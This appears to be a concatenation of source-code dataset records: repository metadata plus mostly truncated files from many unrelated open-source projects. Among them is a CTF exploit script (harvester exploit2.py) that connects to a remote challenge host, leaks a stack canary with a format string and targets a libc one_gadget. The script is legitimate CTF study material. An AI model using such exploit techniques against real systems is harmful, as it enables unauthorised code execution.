a4cf941458c1c463da18f6286219a753ac74ede6
/vaspy/plotter.py
f5ad1a4a63a7c567290af8ee8b5da158b1aedb78
[ "MIT" ]
permissive
PytLab/VASPy
d40926c614201225de0db7d50deb28b8b7d5cdba
a48bb43842bb87c07c6a4c7943b8d280e2e8889b
refs/heads/master
2022-07-04T21:07:25.646905
2022-06-19T13:15:41
2022-06-19T13:15:41
40,174,641
266
112
MIT
2022-06-19T13:15:42
2015-08-04T09:10:20
Python
UTF-8
Python
false
false
2,520
py
plotter.py
# -*- coding:utf-8 -*- """ ======================================================================== Provide pure data file class which do operations on these files. ======================================================================== Written by PytLab <shaozhengjiang@gmail.com>, September 2015 Updated by PytLab <sh...
66e0238fed4e069addbbdb93179b1457fc3a5203
8d0207d19138ed986f40c4ddb7bbee67f8d9eb66
/gradle/generation/jflex/htmlentity.py
3eaf7acc5e52a38eaf780c72cad6d9d4a30fc179
[ "Apache-2.0", "MIT", "NAIST-2003", "BSD-3-Clause", "BSD-2-Clause", "LicenseRef-scancode-unicode", "LGPL-2.0-or-later", "ICU", "LicenseRef-scancode-unicode-mappings", "CC-BY-SA-3.0", "Python-2.0", "LicenseRef-scancode-other-copyleft" ]
permissive
apache/lucene
0a0121aaf8e6808cc859b2e91ef386660a702495
9fd45e3951d941edbe575d41d900af589bbbe5df
refs/heads/main
2023-09-04T02:17:05.678297
2023-09-01T18:05:49
2023-09-01T18:05:49
341,631,350
1,964
868
Apache-2.0
2023-09-14T16:20:46
2021-02-23T17:16:56
Java
UTF-8
Python
false
false
31,397
py
htmlentity.py
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use ...
6c4f125b269c723964462f1d91c9ead2290ad66c
88dda5e76cef286c7db3ae7e5d1a32d28f7815a3
/reviewboard/webapi/resources/watched_review_request.py
fc16eee201c3490e555dd9ffb789e0ff2e7e134c
[ "MIT" ]
permissive
reviewboard/reviewboard
f4d3bada08ba9d6ef53add2d1fdb82bd6cc63a1e
c3a991f1e9d7682239a1ab0e8661cee6da01d537
refs/heads/master
2023-08-31T09:03:14.170335
2023-08-30T08:22:43
2023-08-30T08:22:43
285,304
1,141
353
MIT
2023-06-07T16:51:02
2009-08-22T21:39:49
Python
UTF-8
Python
false
false
3,491
py
watched_review_request.py
from djblets.util.decorators import augment_method_from from reviewboard.webapi.decorators import webapi_check_local_site from reviewboard.webapi.resources import resources from reviewboard.webapi.resources.base_watched_object import \ BaseWatchedObjectResource class WatchedReviewRequestResource(BaseWatchedObjec...
d8c42c9ae4aa274cbba2abecc2de279d291906f6
8af4e173ab3be9b9fc5cf1b61dbb5da80234d5c7
/tests/integration/build_invoke/python/test_python_3_9.py
fb0b80b277ae51fd2f55012e0c09dfb3560229c7
[ "Apache-2.0" ]
permissive
aws/aws-sam-cli-app-templates
d464da1665d84eda9f427f682b985538827d41b6
88380eb265d58c496ea80685d4a5701e3cfc13d2
refs/heads/master
2023-09-04T13:03:00.204479
2023-08-23T20:43:24
2023-08-23T20:43:24
211,362,544
354
230
Apache-2.0
2023-09-14T15:39:09
2019-09-27T16:42:59
Python
UTF-8
Python
false
false
2,388
py
test_python_3_9.py
from unittest import skip from tests.integration.build_invoke.build_invoke_base import BuildInvokeBase """ For each template, it will test the following sam commands: 1. sam init 2. sam build --use-container (if self.use_container is False, --use-container will be omitted) 3. (if there are event jsons), for each event...
516be4a8ec591bdf53874d19144fdbf95d86e2b0
5ef6c8d47864f471e26b9902d61f8c687e941f05
/src/genie/libs/parser/iosxe/tests/ShowFlowMonitorCacheFilterInterface/cli/equal/golden_output2_expected.py
c9bbbbd52502665eaea1a7dfb463182267271d9a
[ "Apache-2.0" ]
permissive
CiscoTestAutomation/genieparser
169c196558f1c1a0f0d10650876096f993224917
b531eff760b2e44cd69d7a2716db6f866907c239
refs/heads/master
2023-09-03T08:56:18.831340
2023-08-29T22:32:02
2023-08-29T22:32:02
131,621,824
247
409
Apache-2.0
2023-08-29T22:32:04
2018-04-30T16:51:50
Python
UTF-8
Python
false
false
660
py
golden_output2_expected.py
expected_output = { "processed_flow": 560, "matched_flow": 569, "aggregated_flow": 569, "showing_flow": "top 2", "ipv6_source_address": ["4100:1:7:33::1", "150:1:2:10::1"], "ipv6_dest_address": ["21:28:1::2", "110:1:1:10::1"], "interface_input_val": ["Gi1/0/13", "Gi1/0/13"], "ip_version"...
e8ad314381949fe480df8082600ae9338eeba5d0
50dd46b8ece33f3cdd174284b15d1d51f89669d4
/2017/quals/2017-re-ascii-art/src/solution/solution.py
5a3e345d37b1eac3110438d474df767354add6d1
[ "LicenseRef-scancode-generic-cla", "Apache-2.0" ]
permissive
google/google-ctf
f99da1ee07729bbccb869fff1cbaed6a80e43bcc
df02323eaf945d15e124801c74abaadca2749dc7
refs/heads/master
2023-08-31T14:30:27.548081
2023-08-29T13:04:20
2023-08-29T13:04:20
131,317,137
4,136
607
Apache-2.0
2023-08-30T22:17:02
2018-04-27T15:56:03
Go
UTF-8
Python
false
false
1,485
py
solution.py
#!/usr/bin/python # # Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
7d79abf81aa838853983247bdbc8c8dd4fbd40eb
b8bbdfc593b6d816e67a344f720f90ec05236778
/helm_tests/security/test_kerberos.py
02c7d4e534c50f54604c349005ab9cd2c4b2eba0
[ "Apache-2.0", "BSD-3-Clause", "MIT" ]
permissive
apache/airflow
ed78db0a8bab7e096990e143926e52f518e288ab
1b122c15030e99cef9d4ff26d3781a7a9d6949bc
refs/heads/main
2023-09-01T08:37:34.556097
2023-09-01T06:49:05
2023-09-01T06:49:05
33,884,891
22,756
11,558
Apache-2.0
2023-09-14T20:12:36
2015-04-13T18:04:58
Python
UTF-8
Python
false
false
6,125
py
test_kerberos.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
28d1e10eeaaf9fa96f8b4570c166d018529b2056
a63d907ad63ba6705420a6fb2788196d1bd3763c
/src/datamgr/metadata/metadata/util/datetime.py
5c4524a2b4a80335acb4fb147bdd138b0d3797b9
[ "MIT" ]
permissive
Tencent/bk-base
a38461072811667dc2880a13a5232004fe771a4b
6d483b4df67739b26cc8ecaa56c1d76ab46bd7a2
refs/heads/master
2022-07-30T04:24:53.370661
2022-04-02T10:30:55
2022-04-02T10:30:55
381,257,882
101
51
NOASSERTION
2022-04-02T10:30:56
2021-06-29T06:10:01
Python
UTF-8
Python
false
false
2,133
py
datetime.py
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making BK-BASE 蓝鲸基础平台 available. Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. BK-BASE 蓝鲸基础平台 is licensed under the MIT License. License for BK-BASE 蓝鲸基础平台: ---------------------------------------------...
b1d1f7d528dd84ae4f3b8a863f69cbc4c934b061
fbdc48c28e54fb33ae4842ef95ff63893902c99a
/scripts/unittest/script/11-find_lines.py
166f1e796c5f1aae2112d6ae67bc65d21e164247
[ "MIT" ]
permissive
openmv/openmv
44d4b79fc8693950a2e330e5e0fd95b5c36e230f
8a90e070a88b7fc14c87a00351b9c4a213278419
refs/heads/master
2023-08-30T20:59:57.227603
2023-08-23T16:50:55
2023-08-23T16:50:55
14,360,940
2,150
1,226
MIT
2023-09-14T07:18:15
2013-11-13T10:23:44
C
UTF-8
Python
false
false
473
py
11-find_lines.py
def unittest(data_path, temp_path): import image img = image.Image("unittest/data/shapes.ppm", copy_to_fb=True) lines = img.find_lines(threshold = 5000, theta_margin = 25, rho_margin = 25) return len(lines) == 4 and\ lines[0][0:] == (22, 0, 22, 119, 119, 8670, 0, 22) and\ lines[1][0:] == (0, 39...
a67a5e3a8be7b8502fb768621512b144c55027be
ebec36c2280a1aac0624019133bffe7152f09964
/benchmarks/pretraining_morphologizer_oscar/scripts/reset.py
def34298fdbd78fa646e60188efa3b4b97c1fc45
[ "MIT", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
explosion/projects
8d783d5b150f03b6a68f345f1a50b3a692ff1745
e24a085669b4db6918ffeb2752846089d8dee57a
refs/heads/v3
2023-08-09T14:10:08.949067
2023-07-31T11:43:44
2023-07-31T11:43:44
223,165,649
1,171
492
MIT
2023-08-11T13:31:24
2019-11-21T12:08:52
Python
UTF-8
Python
false
false
543
py
reset.py
import shutil from pathlib import Path import typer from wasabi import Printer msg = Printer() def main(path: Path): """This script is used to delete directories and reset the project""" if path.is_dir(): answer = input(f"Are you sure you want to reset {path} (y)") if answer.lower().strip() =...
2df870c83ed552096994d3bf8342716084490922
a3d6556180e74af7b555f8d47d3fea55b94bcbda
/third_party/blink/web_tests/external/wpt/images/blue-png-cachable.py
6d8556542ab50d3e8c9dc163ddd2e41bec8f774e
[ "LGPL-2.0-or-later", "LicenseRef-scancode-warranty-disclaimer", "LGPL-2.1-only", "GPL-1.0-or-later", "GPL-2.0-only", "LGPL-2.0-only", "BSD-2-Clause", "LicenseRef-scancode-other-copyleft", "BSD-3-Clause", "MIT", "Apache-2.0" ]
permissive
chromium/chromium
aaa9eda10115b50b0616d2f1aed5ef35d1d779d6
a401d6cf4f7bf0e2d2e964c512ebb923c3d8832c
refs/heads/main
2023-08-24T00:35:12.585945
2023-08-23T22:01:11
2023-08-23T22:01:11
120,360,765
17,408
7,102
BSD-3-Clause
2023-09-10T23:44:27
2018-02-05T20:55:32
null
UTF-8
Python
false
false
564
py
blue-png-cachable.py
import os from wptserve.utils import isomorphic_decode def main(request, response): """Serves the contents in blue.png but with a Cache-Control header. Emits a Cache-Control header with max-age set to 1h to allow the browser cache the image. Used for testing behaviors involving caching logics. """ image_pat...
403884b477d79363eddc08bfdcceeb0fff0086a7
55c5e55612f2d04294c02cec728729bdb1b323c8
/yeke/py-cflag/china_flag.py
e47448db41319bac58a122018fb0c30d326152ac
[]
no_license
JustDoPython/python-examples
4efc9e3aafd533938b23012dbc72aeb175a87744
d4159751a86b1e9ce7867d0a7f1c12e8b8e0f213
refs/heads/master
2023-03-16T01:34:24.219119
2023-03-08T10:37:33
2023-03-08T10:37:33
249,331,676
423
423
null
2023-02-17T07:49:04
2020-03-23T04:00:26
JavaScript
UTF-8
Python
false
false
1,020
py
china_flag.py
import turtle turtle.setup(600,400,0,0) turtle.bgcolor("red") turtle.fillcolor("yellow") turtle.color('yellow') turtle.speed(10) # 主星 turtle.begin_fill() turtle.up() turtle.goto(-280,100) turtle.down() for i in range (5): turtle.forward(150) turtle.right(144) turtle.end_fill() # 副星 turtle.begin_fill() turtle.u...
9b6f5c18268e947c6acf01267a79e6c70ee9b19e
a63d907ad63ba6705420a6fb2788196d1bd3763c
/src/api/dataflow/flow/handlers/node_utils.py
b2daf4ba33a9cc76e7927c0de2bb81f03141ab9d
[ "MIT" ]
permissive
Tencent/bk-base
a38461072811667dc2880a13a5232004fe771a4b
6d483b4df67739b26cc8ecaa56c1d76ab46bd7a2
refs/heads/master
2022-07-30T04:24:53.370661
2022-04-02T10:30:55
2022-04-02T10:30:55
381,257,882
101
51
NOASSERTION
2022-04-02T10:30:56
2021-06-29T06:10:01
Python
UTF-8
Python
false
false
29,642
py
node_utils.py
# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making BK-BASE 蓝鲸基础平台 available. Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. BK-BASE 蓝鲸基础平台 is licensed under the MIT License. License for BK-BASE 蓝鲸基础平台: ------------------------------------------...
e9b5cf30945d8503b8a688683122588394e256fc
a5a99f646e371b45974a6fb6ccc06b0a674818f2
/Geometry/HcalEventSetup/python/CaloTowerGeometryDBReader_cfi.py
1ae683aed2ab16c397750fef305fd0f62c7b8b04
[ "Apache-2.0" ]
permissive
cms-sw/cmssw
4ecd2c1105d59c66d385551230542c6615b9ab58
19c178740257eb48367778593da55dcad08b7a4f
refs/heads/master
2023-08-23T21:57:42.491143
2023-08-22T20:22:40
2023-08-22T20:22:40
10,969,551
1,006
3,696
Apache-2.0
2023-09-14T19:14:28
2013-06-26T14:09:07
C++
UTF-8
Python
false
false
239
py
CaloTowerGeometryDBReader_cfi.py
import FWCore.ParameterSet.Config as cms CaloTowerGeometryFromDBEP = cms.ESProducer( "CaloTowerGeometryFromDBEP", applyAlignment = cms.bool(False) )
9a9579db432af7043bbc12b987154660fa95b5bf
afbeee6a3a83946449e5fccf7c74457461ed921f
/k3d/test/test_colormap.py
308c1b006e5fba5512e6412570d838d965e35a77
[ "MIT" ]
permissive
K3D-tools/K3D-jupyter
d69e541de90835415be5516d3e6758b1fcd530d2
5973d30947f6bc80b2a50ba260f198bec57ddfc1
refs/heads/main
2023-09-01T20:41:01.159202
2023-08-26T20:45:56
2023-08-26T20:45:56
44,377,817
859
134
MIT
2023-08-26T20:33:59
2015-10-16T10:14:20
Python
UTF-8
Python
false
false
1,084
py
test_colormap.py
import numpy as np import unittest from ..colormaps.basic_color_maps import Rainbow, Binary from ..helpers import map_colors class TestPythonColorMapping(unittest.TestCase): # Rainbow: for 0 - blue, for 1 - red def test_zeros(self): # given attribute = np.zeros(5) # when colo...
fc37cb9fa153acc39f49da82a3f797710d5d2af5
a2b3987eb8a50bee311f869e39d1c76e738ba2b8
/authlib/oauth1/rfc5849/errors.py
93396fcebffc2bfdc9d8456c78e538ef4babc988
[ "BSD-3-Clause", "LicenseRef-scancode-warranty-disclaimer", "LicenseRef-scancode-proprietary-license", "LicenseRef-scancode-unknown-license-reference" ]
permissive
lepture/authlib
abb3e14b8ccacef9ade90b28efed827ab65aadce
1846d6ac66e89bdb3268fffe15b7e49289966366
refs/heads/master
2023-09-04T04:27:56.650738
2023-09-02T07:42:47
2023-09-02T07:42:47
108,510,280
4,091
481
BSD-3-Clause
2023-09-13T13:04:38
2017-10-27T06:52:26
Python
UTF-8
Python
false
false
2,303
py
errors.py
""" authlib.oauth1.rfc5849.errors ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ RFC5849 has no definition on errors. This module is designed by Authlib based on OAuth 1.0a `Section 10`_ with some changes. .. _`Section 10`: https://oauth.net/core/1.0a/#rfc.section.10 """ from authlib.common.errors import AuthlibHT...
072ed87ca64b1d92b1d7595bab438aa2ef1af2f2
6d6bdf36ae14b749fa34fffb3abcd339bc0c135a
/my_projects/Cycloid_Area.py
34f105bd8c1df64713b9d1e353a5806b66303e15
[ "MIT" ]
permissive
cigar666/my_manim_projects
201276c3fe4008bc5ff26950bca8280f19c56bbc
d693676580dad47b3e64b3f20f7aff9b5ef4f68c
refs/heads/master
2022-05-06T06:48:00.030028
2022-04-22T13:07:21
2022-04-22T13:07:21
241,033,399
204
66
MIT
2020-06-04T09:46:01
2020-02-17T06:14:26
Python
UTF-8
Python
false
false
36,790
py
Cycloid_Area.py
""" > Author : cigar666 > Created Time : 2020/02/26 > Animation used in : https://www.bilibili.com/video/av92747585 """ from manimlib.imports import * from my_manim_projects.my_utils.my_geometry import * class Cycloid_generation(Scene): def construct(self): r = 1.5 cir...
2c1b2271e8643767e3038c06e92b0a7b1f0f2839
2753608f87a1e8fa312feced7af20917ea9cc004
/Graphs/Prims Algorithm/Prims/Prims.py
56efa901a559afbf6dd56c47cc9da523c1f5dd9f
[ "MIT" ]
permissive
VAR-solutions/Algorithms
76faed6515367b6f27638b910dbc07f340fae56f
4ad6773e9675ef35aa858ca3969be5ddf6e3daea
refs/heads/dev
2023-08-15T11:37:26.048316
2021-08-03T07:00:28
2021-08-03T07:00:28
151,157,582
794
1,249
MIT
2023-07-29T00:28:36
2018-10-01T20:50:24
C++
UTF-8
Python
false
false
1,628
py
Prims.py
import random import math import numpy as np # Prim's Minimum Spanning Tree Algorithm def primsAlgo(e,c,n): sel_edge = () mincost = 0 near = [0 for x in range(n)] t = [[0 for x in range(2)] for y in range(n-1)] print('Initially Minimum Spanning Tree: \n' ,np.matrix(t)) values = np.array(c) index = np.argmin(va...
2a9c2af9e8adaf898f8a46b2cf393d27aab42dda
e9420977fc5540967c6602520272a5b73bb57e98
/tests/test_measurements.py
3b0bcea4d5afde7e6ca1c28b1bff4f86f3781792
[ "Apache-2.0" ]
permissive
qiboteam/qibo
2c8d4820ca4e7a6ac315b44338b0cd072b51e857
76ad26f356a1831553818a3082cc669f042945b2
refs/heads/master
2023-09-05T07:39:50.695080
2023-08-24T16:47:30
2023-08-24T16:47:30
241,307,936
150
41
Apache-2.0
2023-09-14T10:09:25
2020-02-18T08:21:10
Python
UTF-8
Python
false
false
13,874
py
test_measurements.py
"""Test circuit result measurements and measurement gate and as part of circuit.""" import numpy as np import pytest from qibo import gates, models def assert_result( backend, result, decimal_samples=None, binary_samples=None, decimal_frequencies=None, binary_frequencies=None, ): if decim...
82ef5d5f3f177cf663ef075eaa9e689d442639cc
e90bf4b372da78ceec15282d060b48d18ba8d4e9
/tests/test_core.py
8e25bac68d0f359168091bb6963a2c55404d12a4
[ "Apache-2.0" ]
permissive
home-assistant/supervisor
67f2e1755ff5fbf7cf2084351e1c32c6995274e0
4838b280adafed0997f32e021274b531178386cd
refs/heads/main
2023-08-31T22:51:25.949277
2023-08-31T08:01:42
2023-08-31T08:01:42
84,926,758
928
477
Apache-2.0
2023-09-14T17:11:27
2017-03-14T08:54:15
Python
UTF-8
Python
false
false
428
py
test_core.py
"""Testing handling with CoreState.""" from supervisor.const import CoreState from supervisor.coresys import CoreSys def test_write_state(run_dir, coresys: CoreSys): """Test write corestate to /run/supervisor.""" coresys.core.state = CoreState.RUNNING assert run_dir.read_text() == CoreState.RUNNING.val...
3f104056f614663d6f8439b75d490e39c4c88113
8ca19f1a31070738b376c0370c4bebf6b7efcb43
/office365/sharepoint/features/collection.py
b09731e105ae87c2c482cea609221fd456e26269
[ "MIT" ]
permissive
vgrem/Office365-REST-Python-Client
2ef153d737c6ed5445ba1e446aeaec39c4ef4ed3
cbd245d1af8d69e013c469cfc2a9851f51c91417
refs/heads/master
2023-09-02T14:20:40.109462
2023-08-31T19:14:05
2023-08-31T19:14:05
51,305,798
1,006
326
MIT
2023-08-28T05:38:02
2016-02-08T15:24:51
Python
UTF-8
Python
false
false
2,319
py
collection.py
from office365.runtime.paths.service_operation import ServiceOperationPath from office365.runtime.queries.service_operation import ServiceOperationQuery from office365.sharepoint.base_entity_collection import BaseEntityCollection from office365.sharepoint.features.feature import Feature class FeatureCollection(BaseEn...
24aa109ee9c6a49aa85c7f96e347ffb4dfd8d9e8
f305f84ea6f721c2391300f0a60e21d2ce14f2a5
/20_杂题/滴滴历届编程题真题/18_重复字符串重命名-counter.py
73f026b46d31bd2eeea48bc922578ecdb8f34d42
[]
no_license
981377660LMT/algorithm-study
f2ada3e6959338ae1bc21934a84f7314a8ecff82
7e79e26bb8f641868561b186e34c1127ed63c9e0
refs/heads/master
2023-09-01T18:26:16.525579
2023-09-01T12:21:58
2023-09-01T12:21:58
385,861,235
225
24
null
null
null
null
UTF-8
Python
false
false
298
py
18_重复字符串重命名-counter.py
from collections import Counter chars = input().split(",") counter = Counter() res = [] for char in chars: if char in counter: res.append(f"{char}_{counter[char] - 1}") counter[char] += 1 else: res.append(char) counter[char] = 1 print(res)
86e467b2314d0a54c542a3e19c3f4041499c5cb8
73bf31d04b9ad66a7649c7786cdbf50c06cf46e2
/tests/gen-installed-test.py
32887b5e24d7c11d7995805bf1af5c40e9fb0d64
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
ebassi/graphene
b137ca6ab3faeca9f86a3c36284f5e49bad1e3ee
0cfa05ff62f244e4d5e7ac35a1979a23f25c5151
refs/heads/master
2023-09-01T01:38:46.767165
2023-08-10T14:47:59
2023-08-10T14:47:59
19,352,997
341
87
MIT
2023-08-19T23:22:24
2014-05-01T18:07:32
C
UTF-8
Python
false
false
2,027
py
gen-installed-test.py
#!/usr/bin/env python3 # Copyright 2017 Emmanuele Bassi # # SPDX-License-Identifier: MIT # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation ...
3e9c11fe7bc740b612a354e31b707b41fb7ccf71
db732c7e4477c8e4dc725038d8712022c5bcf449
/test/test_postgress.py
d2c8ebbd6bb673e44cf7a80f948224460484ed3f
[ "MIT" ]
permissive
macbre/sql-metadata
e30a177b5250ef0e9145b13246e1958f6914a98a
6507b8111b3c9d14414f3e42e7107e6558fa47c2
refs/heads/master
2023-08-18T00:22:20.118438
2023-08-07T02:10:12
2023-08-07T02:10:12
93,537,184
603
104
MIT
2023-09-13T07:15:43
2017-06-06T15:59:09
Python
UTF-8
Python
false
false
1,289
py
test_postgress.py
from sql_metadata import Parser def test_postgress_quoted_names(): # https://github.com/macbre/sql-metadata/issues/85 parser = Parser( 'INSERT INTO "test" ("name") VALUES (\'foo\') RETURNING "test"."id"' ) assert ["test"] == parser.tables assert ["name"] == parser.columns assert {"inse...
0374a4b098efe0abd0f38086db514e3141fda7ce
c2c212ba42ebfa35f3b6122344978bc94ec8fa67
/tests/test_spendwithpennies.py
23d6e3b99019ecff2a4169d1e330badd28cfde71
[ "MIT" ]
permissive
hhursev/recipe-scrapers
0cd6b7db4ef23ca825f2354f5d1ba76076a14813
8ced0227b3b16c532fc5ebf3060c99ee0452adab
refs/heads/main
2023-09-03T07:33:29.684121
2023-09-01T21:15:50
2023-09-01T21:15:50
42,446,168
1,276
443
MIT
2023-09-14T16:34:09
2015-09-14T12:05:00
Python
UTF-8
Python
false
false
2,383
py
test_spendwithpennies.py
from recipe_scrapers.spendwithpennies import SpendWithPennies from tests import ScraperTest class TestSpendWithPenniesScraper(ScraperTest): scraper_class = SpendWithPennies def test_host(self): self.assertEqual("spendwithpennies.com", self.harvester_class.host()) def test_canonical_url(self): ...
08ffb8e22972f18ea55bcc7cbea89d7b6b3aec4b
2ae0b8d95d439ccfd55ea7933ad4a2994ad0f6c5
/tools/mo/unit_tests/mo/front/common/partial_infer/utils_test.py
b6fc90204ac42ce710aaf3a2125ca27f8850d96d
[ "Apache-2.0" ]
permissive
openvinotoolkit/openvino
38ea745a247887a4e14580dbc9fc68005e2149f9
e4bed7a31c9f00d8afbfcabee3f64f55496ae56a
refs/heads/master
2023-08-18T03:47:44.572979
2023-08-17T21:24:59
2023-08-17T21:24:59
153,097,643
3,953
1,492
Apache-2.0
2023-09-14T21:42:24
2018-10-15T10:54:40
C++
UTF-8
Python
false
false
9,007
py
utils_test.py
# Copyright (C) 2018-2023 Intel Corporation # SPDX-License-Identifier: Apache-2.0 import unittest import numpy as np from generator import generator, generate from openvino.tools.mo.front.common.partial_infer.utils import int64_array, mo_array, is_fully_defined, \ dynamic_dimension_value, dynamic_dimension, shap...
f8f55732146f845ddb672eec0603ac04fe0ad799
bfc42c114f652012b6cfd14e7cccf52cb6b9ac7e
/src/spdx_tools/spdx/writer/rdf/package_writer.py
2137d0dbd286b1b788a41716766df24469facd57
[ "Apache-2.0", "GPL-2.0-only" ]
permissive
spdx/tools-python
05a952501af2ac608678cb1737f7c661f6091fa2
777bd274dd06cb24342738df7da5ab285d652350
refs/heads/main
2023-08-31T09:39:52.930063
2023-08-24T06:39:48
2023-08-24T10:22:33
32,761,058
147
136
Apache-2.0
2023-09-14T15:50:59
2015-03-23T21:54:39
Python
UTF-8
Python
false
false
6,545
py
package_writer.py
# SPDX-FileCopyrightText: 2023 spdx contributors # # SPDX-License-Identifier: Apache-2.0 from beartype.typing import Dict from rdflib import DOAP, RDF, RDFS, XSD, BNode, Graph, Literal, URIRef from spdx_tools.spdx.casing_tools import snake_case_to_camel_case from spdx_tools.spdx.model import ExternalPackageRef, Packag...
687cf1f0caea68ccd69a53deb299a9f2b19997d2
71fb04f723b46a1bf45295be239bcec25e07f98c
/keras_cv/models/object_detection/yolo_v8/yolo_v8_detector_presets.py
dfbbe512c102b388420e62aacb7edd52b0399b0a
[ "Apache-2.0" ]
permissive
keras-team/keras-cv
9bca4479474e853ec3a1c541b8be20fea2447a1a
e83f229f1b7b847cd712d5cd4810097d3e06d14e
refs/heads/master
2023-08-31T10:22:08.406394
2023-08-30T20:24:57
2023-08-30T20:24:57
265,079,853
818
287
NOASSERTION
2023-09-12T16:49:01
2020-05-18T22:39:21
Python
UTF-8
Python
false
false
1,598
py
yolo_v8_detector_presets.py
# Copyright 2023 The KerasCV Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
51de2408a1baff1a47719579366ccd169a70f12e
eb9f655206c43c12b497c667ba56a0d358b6bc3a
/python/helpers/typeshed/stdlib/asyncio/base_tasks.pyi
42e952ffacaf0e6b7b52d0f1664c6e44f6fc10ce
[ "MIT", "Apache-2.0" ]
permissive
JetBrains/intellij-community
2ed226e200ecc17c037dcddd4a006de56cd43941
05dbd4575d01a213f3f4d69aa4968473f2536142
refs/heads/master
2023-09-03T17:06:37.560889
2023-09-03T11:51:00
2023-09-03T12:12:27
2,489,216
16,288
6,635
Apache-2.0
2023-09-12T07:41:58
2011-09-30T13:33:05
null
UTF-8
Python
false
false
404
pyi
base_tasks.pyi
from _typeshed import StrOrBytesPath from types import FrameType from typing import Any from . import tasks def _task_repr_info(task: tasks.Task[Any]) -> list[str]: ... # undocumented def _task_get_stack(task: tasks.Task[Any], limit: int | None) -> list[FrameType]: ... # undocumented def _task_print_stack(task: tas...
76e768bbb618d3c9c6e6fb00dcc5f3d33955fdde
24db6985a016c3e4767c95ca51190e659d0847cd
/cyberapocalypsectf2021/harvester/exploit2.py
f8b4a1f3d7dae7216b0e18cc9c46d0297c23bb3d
[ "MIT" ]
permissive
datajerk/ctf-write-ups
463f53db224410a51df481b9e41b7777a09f3e2c
c33815911de3f4a66cbafbf5f12d7b57239250d9
refs/heads/master
2022-09-30T02:29:44.097435
2022-09-05T02:16:19
2022-09-05T02:16:19
204,361,251
136
36
null
null
null
null
UTF-8
Python
false
false
1,091
py
exploit2.py
#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./harvester_no_usleep') p = remote('46.101.22.121',31051) libc = ELF('./libc.so.6') libc.symbols['gadget'] = [0x4f3d5, 0x4f432, 0x10a41c][0] __libc_start_main_offset = 231 # get canary @11 p.sendlineafter('> ','1') p.sendlineafter('> ','%11$p')...
d40b8598a73d340dd88b386137a875123a5aa0b0
d46db5fee8953104609ac005085040ed344ec876
/tobler/model/glm.py
8f929ce59f6cf73701df6df4d6a79de5f7b9b938
[ "BSD-3-Clause" ]
permissive
pysal/tobler
0ebaf4b6d50a89f29df23d78d09e4c56b93546b3
ce6fcb900b4290cd7bbec99236dd40a1baa98f0b
refs/heads/main
2023-09-01T21:19:19.913555
2023-08-22T16:09:53
2023-08-22T16:09:53
202,220,824
127
24
BSD-3-Clause
2023-09-11T16:05:34
2019-08-13T20:41:42
Jupyter Notebook
UTF-8
Python
false
false
3,742
py
glm.py
"""Model-based methods for areal interpolation.""" import statsmodels.formula.api as smf from statsmodels.genmod.families import Gaussian, NegativeBinomial, Poisson from ..util.util import _check_presence_of_crs from ..dasymetric import _fast_append_profile_in_gdf import numpy as np def glm( source_df=None, ...
db2f165ce937222951ac08c392c0b7faeb5bc8e4
499f5402baed77d000c65f243b457c69dc3d2fe4
/pycatia/tps_interfaces/captures.py
9386e1dd3f25f2a6551ec03c32c1fe35d994fa0d
[ "MIT" ]
permissive
evereux/pycatia
416189b34f3c60effea8a76258e36ffc5ae86e22
5f5726d5dc66265b3eba8a01910c4aeae424365d
refs/heads/master
2023-08-21T10:03:41.660445
2023-08-09T16:21:10
2023-08-09T16:21:10
159,069,580
141
42
MIT
2023-08-09T11:15:27
2018-11-25T20:04:31
Python
UTF-8
Python
false
false
2,094
py
captures.py
#! usr/bin/python3.9 """ Module initially auto generated using V5Automation files from CATIA V5 R28 on 2020-09-25 14:34:21.593357 .. warning:: The notes denoted "CAA V5 Visual Basic Help" are to be used as reference only. They are there as a guide as to how the visual basic / catscript function...
9f096288444857b2856c3ee033c79bd133173362
1b90be9561c10508eea59cb36c1f1665d0ef947f
/test/varmat_compatibility_summary_test.py
3e9fb9082d1cbe76c2b2836da7d100ea76c2d0cc
[ "BSD-3-Clause", "GPL-2.0-only", "Apache-2.0" ]
permissive
stan-dev/math
473e7c1eaf11f84eaf2032c2455e12ba65feef39
bdf281f4e7f8034f47974d14dea7f09e600ac02a
refs/heads/develop
2023-08-31T09:02:59.224115
2023-08-29T15:17:01
2023-08-29T15:17:01
38,388,440
732
240
BSD-3-Clause
2023-09-14T19:44:20
2015-07-01T18:40:54
C++
UTF-8
Python
false
false
4,017
py
varmat_compatibility_summary_test.py
from varmat_compatibility_summary import convert_signatures_list_to_functions, select_signatures_matching_functions, remove_signatures_matching_functions, process_results import unittest class HelpersTest(unittest.TestCase): def setUp(self): self.signatures_list = ["chicken(array[] real) => real", "squirre...
378c845527ed1579e91c7197270a543a223c26a0
9cc6f9d9eed9aceb5efa56e3b2f364900df11051
/improver_tests/utilities/solar/test_DayNightMask.py
aee40ea3d9627f8a2245b9cb06eb645b2fc04530
[ "BSD-3-Clause", "LicenseRef-scancode-proprietary-license" ]
permissive
metoppv/improver
8553a4f8b93c88291bde0db8f5dfd7b577c04b92
cd2c9019944345df1e703bf8f625db537ad9f559
refs/heads/master
2023-08-30T19:01:04.946698
2023-08-25T13:57:20
2023-08-25T13:57:20
85,334,761
101
88
BSD-3-Clause
2023-09-14T19:07:45
2017-03-17T16:51:29
